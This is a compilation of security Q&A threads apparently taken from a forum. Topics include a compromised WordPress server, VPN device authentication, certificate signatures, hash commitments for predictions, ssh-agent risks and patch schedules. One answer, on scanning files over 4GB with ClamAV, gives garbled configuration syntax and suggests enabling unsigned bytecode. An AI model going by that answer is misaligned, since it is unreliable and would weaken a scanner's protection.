WordPress script injections I manage an Ubuntu server that runs a number of WordPress sites. This morning one of them went down and was showing the exception
PHP Fatal error:  Namespace declaration statement has to be the very first statement or after any declare call in the script in /var/www/vhosts/new.wearesno.com/httpdocs/wp-content/plugins/w3-total-cache/Cache_File_Generic.php

I went and had a look in that file using nano in the terminal and it looked normal - with the namespace declaration straight after the opening <?php tag. However, when I downloaded the file to my Windows PC I could see that it contained this:

I then went and downloaded a backup of all the sites on the server and did a search for $GLOBALS;$ and found a large number of files containing similar content at the top of the file.
Presumably this is a shell of some sort that will allow an attacker remote access to the server. Does anybody recognise specifically what it is?
I'm hoping that because the sites are behind CloudFlare that the attacker doesn't know the actual IP address of the origin server and so if they are opening a socket on the server, the attacker doesn't know the IP to connect but I'm not 100% sure on this.
Open to any suggestions on how to best secure the server.

I don't know what the script does specifically, you may be right, but its not unlikely that its connecting to a remote server and putting some malware, ads or something else into your websites, so dont assume you are in anyway protected by Cloudflare in this case.
Given you cannot know what has happened to your server, my approach in this case is normally burn everything, make a new server with the code out of your git repo. Obviously this depends on you having a copy of the code that isnt on this server. And a database backup - otherwise you are going to need to go line my line though your code, you can download fresh copies of wordpress and your plugins, themes. Basically dont trust anything on that server anymore.
IMHO, The best protection against these types of attack is to make all the code read only to your webserver user - so assuming you have a www-data user that is running apache or fpm, then make some other user, bob, the owner of all the files and give www-data read only access.
There are disadvantages with this approach, if you want to use the wordpress admin to do updates, install plugins, etc - but its easy enough to change the file owner for a short time, and change it back, or even better do all the updates on your computer, commit everything to git, and put it on the server using git.
Also make sure you are always running the latest version of wordpress and your plugins, also keep apache/nginx/fpm updated and other parts of your server.


Sanitization of character set I have come across a scenario where the character set not being sanitized / verified.

What is the security implication by not confirming the expected character set? Can you also provide a practical example please to illustrate the security implications?

Assume character set should be UTF-8.

Unicode Technical Report #36 has some examples. In your case exploits that make use of ill-formed byte subsequences may be of interest.


Why do DESFire and Mifare Plus cards offer a random UID feature? Why do DESFire cards and Mifare Plus cards offer a Random UID feature? What risks should it mitigate or what features should it offer?
Section in document: NXP Semiconductors N.V., Application note AN10927, MIFARE product and handling of UIDs, 2018-07-05, section 2.1.1 "Random ID (RID)"

The random UID feature means that the UID is new every time it is powered on, which means every time it is used. To randomise the UID means that everytime the card is used, a new UID is recorded. This each activity of the card cannot be linked to the user. The chain of activity cannot be traced to the card.

  RID is optional and should be used to protect privacy. In case RID is
  enabled, there is a defined and confidential way to retrieve the UID
  for each product.

Source: https://www.nxp.com/docs/en/application-note/AN10927.pdf

  The TSF shall ensure that non authorized subjects are unable to
  determine whether any operation of the TOE were caused by the same
  user.

source: https://www.commoncriteriaportal.org/files/epfiles/0944b_pdf.pdf


How can I validate that VPN clients are machines owned by the company? Employees that travel can access some of our servers through a VPN. This works fine and isn't a problem on its own. Some days ago I noticed that seemingly a VPN Client was trying to perform a portscan on the internal network. I then scanned the host and found out that it wasn't a device owned by our company. When I talked to the user associated with the certificate that was used to initialize the connection he admitted that he did copy the VPN client to his private PC which obviously was infected with malware.

Is there a propper way to imlement something like a NAC for VPN clients to keep Hosts out that aren't owned by the company?

First, I would think about this slightly differently.  Some folks will point to Device Fingerprinting as a mechanism, but I don't think that solves the real problem here.

I'm going to assume a well hardened VPN (Multi-Factor, Certificate required etc) in this circumstance.  This is essentially the standard expectation for VPN.  Now this in it of itself doesn't solve the problem you describe.

Unless you have seriously strong client management including: nobody is ever an admin who shouldn't be, it's nearly impossible to prevent someone who really wants to from exporting the certificate (priv/pub) you issue for the client.

To squash these potential leaks of the certificates needed to get on VPN you need to prevent the certificate from being exported in any way.   There are two ways to go about certificate management that are meant to do just that.  The first is traditional Smartcard based, you can get them in credit card size, or now the new chiclet size.

Credit Card Sized

Chiclet Sized (smaller than pictured here.)

If these are untenable, or expensive (they can be both) for your organization, you can look into using Virtual Smartcards.  These function essentially the same as the physical smartcards except they use the machine's TPM and a third party driver to perform those operations, and hold the relevant private keys.

Now TPM is the mechanism hardware providers will indicate is the best (and academically I agree with that logic) however, practically you'll find the way you interact with VPN clients the best is to stick to the certificate interactions.  Virtual smartcards give you both the host-stickiness of the TPM and most of the time is just easier to interact with.

The reason for the SmartCard like functionality is it makes it virtually impossible (presently) to extract the certificate's private keys without a significant level of effort.  Using the TPM as the mechanism now ties certificate to machine.

With good lifecycle management and tightly controlling where you issue these certificates. You can do a pretty darn good job of authenticating that devices you have issued these certificates to are the ones connecting to VPN.


Integrity monitoring for a LAMP server So I'm setting up a small e-commerce app, and am thinking what happens if the server is compromised.  We are selling software so potentially an intruder could generate themselves some free serial numbers (not a great worry), grab the customer database (more of a worry) or do something sneaky like redirect legitimate payments to a different paypal account (which falls somewhere between the two in terms of worry).

I've been thinking I'd like to know if the PHP got altered.  Would that pick up most intrusion attempts, and (while I'm at it) how would I pick up alterations further down the server stack?  Is there a standard way of auditing changes to content?

The most secure option would presumably be a scheduled task on a different server that logs in periodically and compares the content to its own record.  Is there an off the shelf, free tool that does this?

I assume you are keeping your customer data in some SQL database. It is typical for attackers to use techniques like SQL Injection to extract data from database. Since this technique doesn't need to modify any files on server you won't be able to spot this kind of attack. As I understand grabbing customer database by attacker is the scenario you are most worried about. Moreover in this case when there is a data breach it may be too late, so you should verify security of your app in the first place. You could also use WAF (i.e. ModSecurity) as detection or/and protection measure.

Monitoring system integrity is also good idea, but it is not sufficient.


Why can't a self-made SSL certificate have a fake signature? Let me explain what I mean. I've read Why is faking SSL certificate difficult, and my question is sort of a step beyond that. If some random person creates a certificate, what's stopping them from creating the certificate such that it claims it's certified by trusted certificate authority? What is the actual process of creating a certificate? I'm guessing it's more complicated than calling a function and passing it the arguments of "website", "owner", "verified by". Does a webbrowser do some hashing somewhere that can verify the certificate is authentic?

Certificates use a digital signature algorithm, based on asymetric cryptography. So it involves a key pair (public/private).

The global idea is that the certificate has to be signed by someone (usualy a CA). Signing is a cryptographic operation that can be done if you know the private key. Verifying the signature can be done if you know the public key corresponding to the private one.

So when you get a certificat, there is a digital signature with it, and you're supposed to know already the public key of the CA (Global sign in your example).

The verifying process guarantees that the signing has been done by someone how know the private key corresponding to the public key you know.

A CA is not supposed to let anyone knows its private key.

So no one can fake a CA signature, unless he managed to get the private key.

To be more precise, signing is :

hash the certificate
encrypt the hash with the private key

Verifying is then

decrypt the signature
hash the certificate
compare the results

If results aren't the same it means either the signature is a fake (made without the private key) or the certificate information was modified after signing. The same results means the certificate is valid.


Why does Google say my password is weak when I only added a division sign after a bunch of random stuff? I noticed something very interesting after trying to charge my password for a Google account of mines, it seems strange.

I went to the Google security control panel and selected to change my password typing in 37 characters of random junk, following every rule of good password security then I got to the part which I added the division sign (÷) it errored and gave a message that the symbol wasn't allow, but the password strength meter changed from strong to weak.

Why, my password was very strong, how can a simple division (÷) sign make it weak?

Can't reveal the password for security reasons.

There's no cryptographic reason why adding a character would make it weak. Most likely, this is a programming oversight. In particular, if the symbol is not allowed, it may not be sending the (invalid) password to the strength-analyzing routine which then reads out the default strength, which is weak.


Missing HTTPOnly Cookie Attribute in Laravel 7 I have a Laravel site, I thought I patched this issue already.

I got these in my session.php

'secure'    => true,
'http_only' => true,

But OpenVas still detected that I still need to it.

It also listed it 3 times

Am I missing anything else ? or this is a potential false positive from OpenVas ?

From the documentation:

  httponly
  If set to TRUE then PHP will attempt to send the httponly flag when setting the session cookie.

From your code:

'http_only' => true,

Thus, it looks like you spelled it wrong, i.e. you spelled http_only whereas it should be httponly.


What could be the possible exploit for android adware vulnerability? I have read about the adware vulnerability here. An adware is a software that automatically displays or downloads advertising material like banners or pop-ups when a user is online.

I have seen many ads in many apps I use in my android phone and never thought it could compromise my privacy. I wish to know what could be the possible exploits for this adware vulnerability apart from the classic social engineering attacks. If there are exploits other than social engineering I wish to know whether It can be prevented from the developer side or not. The fact is, a developer can't do anything to avoid social engineering attacks right?

If Android's safety features are intact (and nothing in the article suggests that they would be compromised), the adware can do only two things:

use the permissions the "mother app" was equipped with
trick the user into installing other apps, in order to deliver new payload and/or gain new permissions

Then the malicious software in the "mother app" or the newly installed app can abuse permissions it has. These abusable permissions include:

Dialing phone numbers and sending SMS directly. The attacker can have your device call or message their paid service without your consent, pulling money out of your account.
Reading contact details. They can get all your contacts' e-mail addresses and put them into a spam database.
Reading/writing the filesystem, gaining access to confidential things you store there. I don't know if it exists yet, but a CryptoLocker for Android could also be possible.

My personal view is that this report has no real information value, it's just some antivirus software marketing or empty content to keep that blog running. I would not even call this a vulnerability, at least not an Android one. It is a human vulnerability. I mean, this kind of thing has been going on for ages. It's the "Don't believe the flashing You're the 1000000th visitor, click here to claim your prize!, Quick painless penis enlargement and/or Viagra for cheap and Install our registry cleaner and speed up your PC" thing all over again. It's maybe meant to be a warning for people who install any seemingly interesting app that crosses their way without even checking the permissions.

From the Android system developers' view there can't be really much done to prevent this. They already really went out of their way to produce a platform that prevents accidental app installs and permission abuse, but there will always be a lot of gullible people who believe flashing ads so much that they disable security measures when they're asked to.

From the app developers' view: don't use ad providers you don't trust. Ad providers often provide obfuscated code for you to include in your app in order to prevent you from tampering with it to trick them. This also prevents you from understanding what the code does, and it could do exactly this kind of thing.


What are dedicated TOTP devices called? I would like to buy a device that can be provisioned with a secret seed and then displays a time based authentication token without ever revealing the seed.

As terms like 2FA, TOTP and Authenticator are almost guaranteed to only show up information about mobile-phone-hosted token generators, i am somewhat struggling to find relevant manufacturers.

I have found some devices using the term "oath-TOTP", but the high frequency of "if you lose your seed, just call us" and "you need adobe flash player to order" makes me think i am not quite using the right search terms to find a trustworthy product.

What is that device class called?

Most vendors preseed the TOTP token and provide a seed file (with the secret key) to be imported into your system. Of course this leaves a bit of a doubt, if the vendor handles the key delivery right.

If you would go for HOTP and not TOTP I would recommend the yubikey, since it is to be initialized in the most easy way.
Other devices are built for cost efficiency and programming is sometimes not a feature. (You would need an interface and the hardware vendor would have to provide software, so that you can actually programm the device).

However, there are some Feitian TOTP tokens (C200 and TOTP display cards), that can be programmed. But you need to invest into an programming device or software, that needs to be purchased.

There is the vendor longmai, that also provides TOTP tokens and I think you could programm these using the NFC protocol - but: I think they do not have any ready made software -> a lots of programming on your side.

Bottomline: I think programming TOTP tokens is only worth the effort if you going to use several hundrets of tokens. If you are only looking for a token on your own, take a look at the yubikey.


Can we send IP request to a user by knowing their mobile number? i.e request/alert for a user in my contact list with the help of data services of  service provider and Is there any chance of getting an acknowledgement from the specified user using the data services?

Only the mobile service provider has the current mapping between a mobile number and the current IP address of a phone. This means that you cannot contact another user using an IP based data service just by knowing its mobile number.


The older the Linux kernel is, the more secure? Are there security benefits running Linux Distro base on an older version of Linux kernel?

Security benefits = fewer vulnerabilities that can be exploited by hackers.

Linux Distro base on older version = RHEL-CENTOS that is running on kernel 3.10.  Compare to Ubuntu 18.04 LTS kernel version 4.15.

Two major factors in the likelihood of open vulnerabilities are the frequency of changes, and time to discover vulnerabilities (and develop them into exploits).

While a version under active development is more likely to introduce a new vulnerability... and old version has had more time for attackers to analyze the source and create new exploits. It’s a bit of a balancing act.

Also consider that newer versions may have introduced stronger security barriers that are not present in older versions at all.

And when an vulnerability is found, it’s usually patched first in the latest version and then back-ported to the older versions. So time to fix is usually a bit faster on the new versions (we definitely saw this with Meltdown in Debian, where Debian 9 got a patch almost immediately, and it was weeks before it was back-ported to Debian 8).


Offline RSA strong prime test similar to Phuctor? One of the ways that RSA keys get consistently owned is when they're generated without enough entropy. Dan Kaminsky refers to a study which found that 1 in 200 RSA keys were badly generated and these were the ones that were found, not to mention the millions of others that were not found.

Thus, a good, properly seeded RNG is needed during RSA keypair generation for GPG, SSL, SSH, etc. wherever RSA key generation happens.

Phuctor is an online tool which searches for PGP RSA key pairs and factors them. Surprisingly, they even factored a 4096bit RSA key in the strong set which was badly generated with the first factor being the number 231 (3 * 77). (According to Polynomial, they only factored a corrupt subkey, which should have no real-world impact.)

When I'm generating RSA public/private keypairs for SSL, SSH, GPG, etc., is there an offline tool I can use to determine how hard and how large the primes are? Can I estimate the computational difficulty in factoring this given RSA key pair so I can determine whether they were generated properly?

Obviously, I use a secure desktop computer for key-pair generation (and optionally /dev/random), as Linux's RNG is seeded by "mouse and keyboard activity, disk I/O operations, and specific interrupts"(source, PDF) which virtual machines often don't have. While this should be enough, I like to understand the underlying methods and would like to test my key pairs to ensure security.

In general, there is no clear distinction between "hard to factor" and "not hard to factor" RSA keys. This is a continuum. For instance, the ECM algorithm (that uses elliptic curves in a smart way to factor integers) tend to have a computational cost that depends on the size of the smallest factor of the target integer. If you try harder then you can find larger factors. The consequence is that even if you spend one full day of computations to "try" with ECM your modulus for small factors, and find none, then you don't know if an attacker with more patience might not find a factor by devoting two days of computation.

There is no known method that can test a given integer and return the size of its factors, without actually recomputing the factors, which is (hopefully !) computationally infeasible for a proper RSA key.

Testing RSA keys after generation is a fool's quest. This is a nice thing to do to detect some poor implementations, not poor keys. Moreover, it detects only certain classes of poor keys (specifically, those with small factors). It does not detect poorly seeded RNG used in an otherwise correct RSA private key generation. This highlights an important point: while having very small factors is a sure sign of flawed key generation, having only large factors does not guarantee secure generation.

For proper security, ensure that keys are properly generated by auditing the key generation process, not the result.


Is a website published in an obscure directory comparably secure to being placed behind a login? Let's say I create a microsite for a client that contains confidential business information. We need to place this in a location the client can access, in order for them to approve for launch.

If we place this microsite behind a login, we have a guarantee noone can just stumble across the content and compromise it. But, what if we publish it to an undisclosed, unindexed directory with a name of the same "strength" as the aforementioned password? For the sake of argument, "undisclosed and unindexed" means it won't be manually or automatically linked to/from anywhere, or indexed by any website search on the same domain. It also won't be placed in it's own subdomain, so DNS crawling is not a concern.

My initial instinct says this is simply security by obscurity, and is much less secure due to the possibility of someone just stumbling over it. But, after thinking about it, I'm not so sure. Here's my understanding:

Even using a dictionary-weak, two-word string for both the password and the URL, there are still billions of guessable options. Placing it in the URL doesn't magically reduce that list.
Login pages can have brute-force protection, so an attacker would get optimistically 20 attempts to guess. URL guessing would have to be caught by the server's DoS or spam protection, and may allow 200 404-producing guesses if you're anticipating an attack - still not statistically significant to billions of options.
The login page is linked from a website - it's a visible wall for an attacker to beat on. It's evidence that something exists worth attacking for. Guessing the URL, however, is blind. It requires being on the right domain (and subdomain), and operating on faith that, even after tens of thousands of incorrect guesses, you're still going to turn something up.
The URL has an extra susceptibility to being index/spidered externally. However, most respectable spiders don't "guess" at sites, they just follow links. A malicious "guessing" spider would be caught by the same DoS/spam protection as point 2.

From what I can tell, the only meaningful difference between the two is imagined peace of mind. The possibility that the URL can be stumbled over makes people nervous, and the login makes things feel secure, despite them seeming comparable based on the points above. The URL option still feels like it should be much less secure, though. What am I failing to consider?

EDIT: A lot of valid human-error concerns popping up. This question was inspired by a client that implements a degree of human-proofing security - vpn login via keyfob, screen dimmers, 5min sleep timeouts, social media blackout, etc. For this question, please assume no public-network access and no incidental breaches like shoulder-watching or "oops! I posted the link to twitter!". I'm looking for a more systematic answer, or at least one more satisfying than "humans screw up".

EDIT 2: Thanks for pointing out the possible duplicate. IMHO, I think each has a value as an individual question. That question addresses image security specifically, and delves into alternate methods of securing and encoding that data (eg base64 encoding). This question more specifically addresses the concept of secrecy vs obscurity, and applies it to why a login is better than a URI independent of the type of data in question. Furthermore, I don't think the accepted answer there explains my particular question as deeply or thoroughly as @SteveDL's great answer below.

I'll extend on one point at a slightly more abstract level about why public authenticated spaces are preferable to hidden unprotected spaces. The other answers are all perfectly good and list multiple attacks one should know better to avoid.

Everyone with formal training should've heard at some point of the Open Design security principle. It states that systems must not rely on details of their design and implementation being secret for their functioning. What does that tell us about secret passwords vs. secret URLs?

Passwords are authentication secrets. They are known by a challenged entity that provides them to a challenging entity in order to authenticate. Both parties need a form of storage, and a communication channel. Stealing the password requires compromising either of the three. Typically:

The user must be trapped or forced into revealing the password
The server must be hacked into so that it reveals a hashed version of the password
The confidentiality of the channel between the user and the server must be compromised

Note that there are plenty of ways for authentication to be toughened, starting by adding an additional authentication factor with different storage requirements and transmission channels, and therefore with different attack channels (Separation of Privileges principle).

We can already conclude that obscure URLs cannot be better than passwords because in all attack vectors on passwords, the URL is either known (2 and 3) or obtainable (1).

Obscure URLs on the other hand are manipulated much more commonly. This is in large part due to the fact that multiple automated and manual entities in the Internet ecosystem process URLs routinely. The secrecy of the URL relies on it being hidden in plain sight, meaning it must be processed by all these third-parties just as if it were a public, already-known commodity, exposing it to the eyes of all. This leads to multiple issues:

The vectors through which these obscure URLs can be stored, transmitted and copied are much more numerous
Transmission channels are not required to be confidentiality-protected
Storage spaces are not required to be confidentiality or integrity protected, or monitored for data leakage
The lifetime of the copied URLs is by and large out of the control of the original client and server principals

In short, all possibilities of control are immediately lost when you need that a secret be treated openly. You should only hide something in plain sight if it is impossible for third-parties to make sense of that thing. In the case of URLs, the URL can only be functional in the whole Internet ecosystem (including your client's browser, a variety of DNS servers and your own Web server) if it can be made sense of, so it must be kept in a format where your adversaries can use it to address your server.

In conclusion, respect the open design principle.


Best way to secure local REST server? Currently I have a raspberry pi connected to my home security system. I have written a Python daemon running a HTTP server (very insecure I know, but this is still under construction) so I can send it POST requests to arm my alarm. I'm trying to also add disarm alarm functionality, which of course requires much more security than the arm command.

I have seen some guides wrapping the server socket with ssl.wrap_socket and providing a self-signed certificate and key file. My question is, if some hacker manages to connect to my WiFi network and sniff my traffic, will he be able to "record" my disarm requests and send it himself (I think it's called a replay attack?) Or is HTTPS totally encrypted so that all he can see is gibberish.

I'm planning on writing an Android application as the client to send the disarm REST requests locally. Are special configurations required on the client-side to fully take advantage of HTTPS?

I'm assuming you can only send this HTTP through the internal Wifi network...? A hacker would have to breech your network (this should be your #1 concern) and understand you arming your alarm with http commands which will not be something they are directly looking for (if an anonymous hacker). If that happens you're in trouble... but if a hacker can remotely access your home network you're in trouble. How are you routing your http commands? If you are sending them from the "internet" into your router by initiating an http connection externally... -that is a serious problem-. At the very least it is bad practice, imo.

To give a clear answer: either way it's worth using some protections. Https/tls is fine. Oauth is another option. I would not allow the saftey of my family to be associated with something that is vulnerable to a simple replay attack.

Here is a great, condensed, article on Rest Security. https://www.owasp.org/index.php/REST_Security_Cheat_Sheet


Is knowing the BIOS password of help in hacking a computer *remotely*? Let's assume that a hacker knows the BIOS password of a computer, but can only connect to the computer over a network (Internet). The attacker has no physical access to the computer.

Is knowing the BIOS password of any advantage to him/her, in any way?

Usually not, but I can imagine some edge cases where it might matter.

As another comment mentions, some vendors provide interfaces all the way into userspace (reachable by normal programs and malware) to edit the bios config, those can be secured with a password.

Other answer:

  The only way to interact with the BIOS in order to use the password is to be physically at the computer.

I would argue that the only way to interact is through a HID. But to interact with an existing HID (or even emulate a new one) you don't need to be physically anywhere near it. See keystroke injection in wireless keyboards:
https://github.com/BastilleResearch/mousejack

A few Asus motherboards support cold boot from ps2, with usb to ps2 adapters still being used or Wake on Lan this becomes a practical remote attack. You could get a machine out of a powered-down state, and blindly enter the bios because of the predictable timing at boot.

Access to the BIOS could then be a way to set the system to boot from the network, bypassing the security model of the OS.

A properly used BIOS password would probably prevent that.


Linux antivirus and files bigger than 4GB I wish to scan files that are bigger than 4GB, such as video files.

I noticed many antivirus programs are limited to a maximum of 4GB (ClamAV for example).

So:

Is there an antivirus software that allow scanning of files bigger than 4GB?
If not, is there a work-around that will allow me to pass this limitation?

Update: as suggested by @Purefan, I opened a GitHub issue at ClamAV

I have never tried myself, but checking in clamd.conf file I can see that the size of files can be set manually.

Changing the following values to "n" appears to be the workaround for the file size limit which sets it to unlimited:

-max-filesize=#n
-max-scansize=#n
BytecodeUnsigned yes

http://blog.clamav.net/2014/11/brief-re-introduction-to-clamav.html

However, I know that currently ClamAV has hard file limit to 4GB. However, from my understanding by setting to "n" along with BytecodeUnsigned to "yes" in config file will do the workaround and of course there are a few particulars to consider before doing that, particulars such as:

  the amount of memory present/available on server should be way bigger than the file size because ClamAV is mapping the file into memory.
  The swap file system, the size of swap fs should be calculated according to the ram size on server (just in case it hits the swap).

If the above to particular are not taken care of it with an extra attention ClamAV won't be able to scan or better, it will eat all of systems memory and therefore killed by OEM Killer.


How frequently install patches in an enterprise environment? We're trying to implement a patch schedule in our environment for both linux and windows systems.

I'm curious to hear how often other enterprise companies are patching their servers so we can get an idea of what the rest of the world is doing.

I've found plenty of documentation from SANS etc on the policy but haven't found much on the frequency of patching. Mainly I'd like some ammunition when the complaints begin from our admins; generally to avoid reinventing the wheel.

If it is a Microsoft environment, then you would benefit most by installing patches monthly, scheduling this just after Patch Tuesday each month.

Be prepared to break this schedule for critical, out of band patches though. Make sure that all patches are tested first in a pre-production environment before applying to production.

For other platforms you should do the same if there's a published update schedule. The aim is to patch production platforms as soon as possible once they have been tested.

Regarding standards, an example is PCI DSS v3 which states:

  6.2 Ensure that all system components and
  software are protected from known
  vulnerabilities by installing applicable vendor supplied
  security patches. Install critical
  security patches within one month of release

So at the very least you should be looking at once a month, but I recommend expediting this for critical bugs with publicly available exploits (e.g. ShellShock).


Is there a security concern having RSA private key added to ssh-add? I am working on macOS and I need to have my private key (that I use on GitLab for authentication) in ssh-add agent. So I used the command:

ssh-add -K ~/.ssh/id_rsa

This because in the software I want to use the key, doesn't prompt me for password and hence I will not be able to authenticate myself from that software.

The question is how secure or insecure is to have the private key in the ssh-add agent? Is my key protected there or is exposed? If so what is the best practice in that scenario?

ssh-add is used to add private keys to a local ssh-agent. That means that the private key will be accessible to the agent (probably it can be read from memory by an administrative account). But normally it should never leave the local machine (from ssh-agent man page):

  The agent will never send a private key over its request channel.
       Instead, operations that require a private key will be performed by the
       agent, and the result will be returned to the requester.  This way, private keys are not exposed to clients using the agent.

If you think that you can trust your local machine, the risk should be acceptable. And anyway, you should never use a private key on a machine that you do not trust, be it through ssh-agent or directly.

You should be aware, that ssh-agent can forward usage of the private key over an ssh channel.

  Authentication data need not be stored on any other machine, and
       authentication passphrases never go over the network.  However, the connection to the agent is forwarded over SSH remote logins, and the user
       can thus use the privileges given by the identities anywhere in the network in a secure way.

That means that if you use it while connected to a hostile machine, an attacker could never capture your private key, but it could make authenticated connections to other machines of the network on behalf of your account. Whether it is a problem actually depends on how you trust the machines that you connect to.


How to persuade average people that security matters? If people could be fooled in life so easily ( http://www.bbc.co.uk/realhustle/ ) then in computing....

What are the best tips to persuade a regular user to pay a little more attention to security: e.g.: use HTTPS where available, up-to-date software, don't log in at a netcafe, don't click on links that you doesn't trust, use WOT/NoScript plugin, etc.

security: even for creating backups regurarly

Frankly, I believe the only way to achieve that is to offer no other choice - or at least make doing the right thing much easier than the alternatives. All of the points you raise put a burden on the user to get some aspect (however small) of information security correct: well users are not for the most part information security experts. They are bricklayers, or physics researchers, or project managers: we should let them get on with laying bricks, or researching physics, or managing projects. Those are the things they are expert at: we should be doing the security for them.
To pick on one example, "don't click on links that he doesn't trust". Just how should an administrative assistant, for example, decide whether a link is trustworthy? Look at the WHOIS record for the domain (having ensured that their DNS is being resolved through a 'trusted' channel)? Examine the details of the SSL certificate? Phone the webmaster and verify the key fingerprint? Only, why does he trust the phone number, the phone network, the person on the other end of the phone... It's a ridiculous position to give people hyperlinks that can point anywhere then tell them to make a judgement on using hyperlinks.
So I might be busy ranting, but am I going to suggest an alternative? Yes: stop using backwards compatibility or familiarity with the existing workflow to justify continued use of broken systems. To address the trusted link example, we have two problems:

we can't identify all websites reliably because they don't all have identification data, which is currently the SSL certificate.
we don't necessarily trust the people who are telling us to trust SSL certificate holders

Point 1 can be easily, if expensively, addressed.
Point 2 is harder: from a technological perspective, you can imagine issuing multiple certs from multiple authorities, but then you have to have UI for examining and evaluating multiple certs; yuck. Or you could imagine a 'web of trust' model where people countersign keys from sites they trust, and people they trust to trust, and so on; but now we're back in the same position we were before, where we have to know who to trust (this is basically what Moxie Marlinspike came to implement in Convergence). Or you could adopt the approach of current web filtering tools, and while you don't trust a vendor to tell you who is good, you trust them enough to declare that some sites are definitely bad.
This rough description fits with what Microsoft's SDL team has called NEAT security UI: the interface should be Necessary, Explained, Actionable and Tested. Compare that with the current UI for trusted websites: you get the interface (the padlock icon) when the trust is OK, i.e. when it's not Necessary. Clicking on that usually lets you see the details of the SSL certificate, but did anyone (and should anyone) explain what all of the fields in an SSL certificate mean to the user? Not Explained. Also, most browsers only stop you proceeding to sites with obviously broken certs, so in many cases the UI is not Actionable either.
The point is that if the UI were NEAT, then it would become more valuable: users would see the UI at the point that they (not we) need to make a decision; they would be told the supporting information relevant to their decision; their decision would have a meaningful outcome; and we would know how they react in both benign and hostile conditions.


Securing a prediction about a future event I want to make a prediction about a future event, but only reveal that prediction after the event occurs lest knowledge of my prediction affect the outcome.

For example, suppose Alice predicts that Bob will drink the spill his glass of milk on April 24th at 9:17 AM. She writes to a text file:

Bob spills his glass of milk on April 24th at 9:17 AM.

Alice does not want Bob to know the specifics of the prediction before the event, otherwise Bob may avoid milk that day in order to prevent the outcome of Alice's prediction. However, if Alice only reveals the prediction after the event has occurred, Bob can claim that Alice fabricated the prediction after the event had already occurred.

Naturally, Alice should provide some verification of the authenticity of her prediction to Bob before the event -- a verification that does not reveal the specifics of the prediction until after the event, but which confirms that the prediction was made before the event.

I've come up with two possible verification methods:

Encryption

Alice applies a symmetric-key encryption algorithm (such as AES) on the text file
Alice provides Bob with the encrypted file
After the event occurs, Alice provides Bob with the secret password
Bob decrypts the encrypted file and reads the prediction

Hashing

Alice applies a hashing algorithm (such as SHA-256) on the text file
Alice provides Bob with the computed hash
After the event occurs, Alice provides Bob with the original text file
Bob applies the same hashing algorithm on the text file and verifies the hash

Which verification method is the most secure (i.e. which would theoretically be harder for Bob to overcome and thus discover the predicition before the event occurs)?

Which verification method is most practical (e.g. hashes take up significantly smaller space than an encrypted file)?

Encryption does not offer the functionality you look for; not directly at least. As an extreme case, consider One-Time Pad: the key is as long as the data to encrypt, and encryption is done with a bit-by-bit XOR: given key K and plaintext P, ciphertext is C = P XOR K. Suppose that you used OTP for your encryption; you predicted P and published the encrypted version C. Later on, the prediction turned out to be wrong; Bob does not spill milk but wine (at 9:17 AM, what a shame !). You now want to appear as if you had predicted it correctly all along; thus, you want the ciphertext C to decrypt as P', not P (note that P' has the same length as P). This is easy: compute key K' = C XOR P' and publish K' as the key you used. You can verify that C is indeed the result of the encryption of P' by K'.

So, with OTP, you can fake a posteriori the initial message. This is this characteristic which makes OTP a theoretically unbreakable encryption system: every possible plaintext is possible (with the same probability) for a given ciphertext.

Therefore, if you use another encryption system (say, some AES), then this may provide the kind of commitment that you are looking for only by being imperfect as an encryption system. This does not look like a good foundation for security: it must be good, but not too good.

Hashing is a much better candidate. Hash the prediction P into H = SHA-256(P), then publish the hash value. Later on, reveal P: everybody can hash the revealed P and see that it matches the previously published hash value H. This is secure as long as the hash function is collision-resistant, i.e. as long as you cannot create two prediction P and P' which hash to the same value (because otherwise you could choose to reveal the one which happened).

As a side note, the publication can take several forms. Consider trusted timestamping: this is a public method for commitments. The Time Stamping Authority (TSA) receives a hash value, encapsulates it in a structure which also contains the current date and time (as known by the TSA), and signs the structure. In effect, the TSA, by its signature, says (in a verifiable way): "that hash value H was published at date T or before, because I saw it at date T". In a non-computer world, such a job is done with a Soleau envelope.

The hash value has a downside: it potentially allows someone to try to brute-force the prediction. Given the hash value H, one could try possible predictions P and hash them all until a match is found, thereby rebuilding the prediction before its reveal. For instance, one could know that you predict the spilling of some beverage at some date, and try all combinations of beverages and dates. Since hashing can proceeds at a speed of billions of messages per second (with a good GPU), some structured predictions would be at risk of early reveal. To prevent this attack, add random padding at the end:

Bob spills his glass of milk on April 24th at 9:17 AM, and
here is random padding:sef9yb94bo3qr7yqwnc67sb32

Be sure to use new random characters each time you make a prediction (don't reuse them !). Note that one can build a contrived example of a hash function which is "secure" in the sense that it does not allow collisions to be computed, but still fails at hiding the prediction value; however, this would be a contrived example. With SHA-256, the random padding will do the job, provided that you add enough of them (a random character will add 5 or 6 bits of entropy; at 80 bits, enemies are utterly defeated, so 16 characters are sufficient). A drawback of the method is that you have to keep the complete input string, i.e. the padded prediction, with the random characters; this can be troublesome if you intend to keep it in your head.


Can the latest glibc DNS vuln be tested on remote servers? I recently heard of the critical DNS vulnerability in glibc that can lead to arbitrary code execution. I hadn't found much about the cases when the faulty function is called and ways to remotely diagnose the vulnerability - what could be an example scenario that determines whether a given target isn't patched yet?

Since the attack needs the client to first make a DNS request you need some way to trigger this request. If this can be done remotely depends on the server setup and applications running. But if you have access to the server you can try the PoC from google.

Please not that failure of the PoC indicates only that the server is probably not affected but you cannot be fully sure. There might be binaries on the system which contain a statically linked libc and are thus not fixed by upgrading the system libc.


Using ECC for PGP-Master Key in combination with Yubikey I acquired a Yubikey Neo last month. Now I want to use the Smart-Card functionality for PGP. I followed the official guides on the Yubico Website tested it with 2048 RSA Keys and it worked fine. But if I would lose the Key I would have a Problem, because the main private key was solely stored on the Yubikey. So I tried another approach. I created a key on my Computer and used it to generate three subkeys, one for signing, one for authentication and one for encryption. Then I moved the three subkeys on the Yubikey. I wanted to store my Master Key in a safe place and wanted the Yubikey for daily use. I used RSA 4096 for my Master key and RSA 2048 for the subkeys because the Yubikey does not support greater keys. This worked as well.

Question:

GPG supports ECC in newer versions. Is it possible to create a Master key using ECC instead of RSA (Subkeys would still be RSA) and will I be able to communicate with other people (using my subkeys) who use systems that don't yet support ECC? And will they be able to sign my Key and I theirs without problems?

First of all, be aware that the Yubikey does not support ECC keys (but I don't read from your question that you assumed that).

If you use an ECC primary key, others using older implementations of GnuPG not supporting ECC keys (thus, everything before GnuPG 2.1) will not be able to verify your primary key nor signatures issued by you, as it does not understand the new algorithms. So all in all, people running pre-ECC-versions of GnuPG will be able to

sign your key
receive messages encyrpted by you (your key is not involved at all)
send signed messages to you (your key is not involved at all)

but not be able to

verify signatures/certifications issued by you
validate your key (which includes verifying a self-signature)
